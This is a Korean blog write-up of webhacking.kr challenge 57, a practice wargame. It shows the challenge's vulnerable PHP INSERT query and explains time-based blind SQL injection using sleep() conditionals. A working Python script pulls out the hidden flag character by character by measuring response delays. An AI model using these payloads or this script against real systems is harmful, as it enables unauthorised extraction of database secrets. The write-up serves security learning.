[webhacking.kr] 57번 문제 풀이[Time-based SQL Injection]

1 분 소요

💡 Webhacking.kr challenge(old) 57번 문제에 대한 풀이입니다.

문제

image

<?php
  $db = dbconnect();
  if($_GET['msg'] && isset($_GET['se'])){
    $_GET['msg'] = addslashes($_GET['msg']);
    $_GET['se'] = addslashes($_GET['se']);
    if(preg_match("/select|and|or|not|&|\||benchmark/i",$_GET['se'])) exit("Access Denied");
    mysqli_query($db,"insert into chall57(id,msg,pw,op) values('{$_SESSION['id']}','{$_GET['msg']}','{$flag}',{$_GET['se']})");
    echo "Done<br><br>";
    if(rand(0,100) == 1) mysqli_query($db,"delete from chall57");
  }
?>

문제 풀이

인젝션을 해야 하는 부분은 다음과 같습니다.

insert into chall57(id,msg,pw,op) values('id','{msg}','flag',{se})

사용자 단에서 변경 가능한 부분은 msg와 se 부분이 있습니다. 이문제가 기존의 sql 문제들과 다른점은 화면에 출력되는 값이 없다는 점입니다. 즉 select 문이 없이 DB에 있는 데이터의 값을 읽어와야 합니다.

보통의 blind sql injection의 경우 참/ 거짓의 결과가 나오기 때문에 원하는 쿼리문의 결과를 알 수 있었습니다. 지금같은 경우는 insert 문을 통해서 원하는 쿼리문의 결과를 알아야 하는데 그럴때 사용 가능한 기법이 Time-Based SQL Injection 입니다.

이 기법은 다음과 같이 이용하여, 서버에서 오는 응답시간을 보고 쿼리문의 참/거짓을 판단할 수 있습니다.

insert into chall57 values('id','msg','flag',if(1=1,sleep(3),1)) #참인경우 응답이 3초뒤에 나옵니다

insert into chall57 values('id','msg','flag',if(1=2,sleep(3),1)) # 거짓인 경우 응답이 바로 나옵니다.

image

문제에서 적용하면 다음과 같이 3초뒤에 화면이 새로고침 됩니다.

image

Time-Based SQL Injection은 일반적으로 Sleep 함수와 benchmark 함수를 이용할 수 있는데, 이번 문제에서는 benchmark 함수가 필터링 되어 있습니다. 다른 문제에서 만약 sleep이 필터링 되어 있다면 benchmark 함수를 사용 가능하다는 점도 인지하고 있으셔야 합니다.

파이썬 코드로 다음과 같이 작성하였습니다.

from requests.exceptions import ReadTimeout
import requests
import string

url = "https://webhacking.kr/challenge/web-34/index.php"
params = {'msg' : '1234'}
flag_length = 0
for i in range(20,30):
    try:
        payload = 'if((length(pw)={}),sleep(3),1)'.format(i)
        params['se'] = payload
        requests.get(url,params=params,timeout=2)
    except ReadTimeout:
        print("FLAG's length is",i)
        flag_length=i
        break    

# FLAG 길이 24
flag = ''
for i in range(1,flag_length+1):
    for character in string.printable:
        try:
            payload = 'if((ascii(substr(pw,{},1))={}),sleep(3),1)'.format(i,ord(character))
            params['se'] = payload
            requests.get(url,params=params,timeout=2)
        except ReadTimeout:
            flag = flag + character
            print("\r[+]",flag,end='')
            break
print()
print('FLAG : ',flag)

image

댓글남기기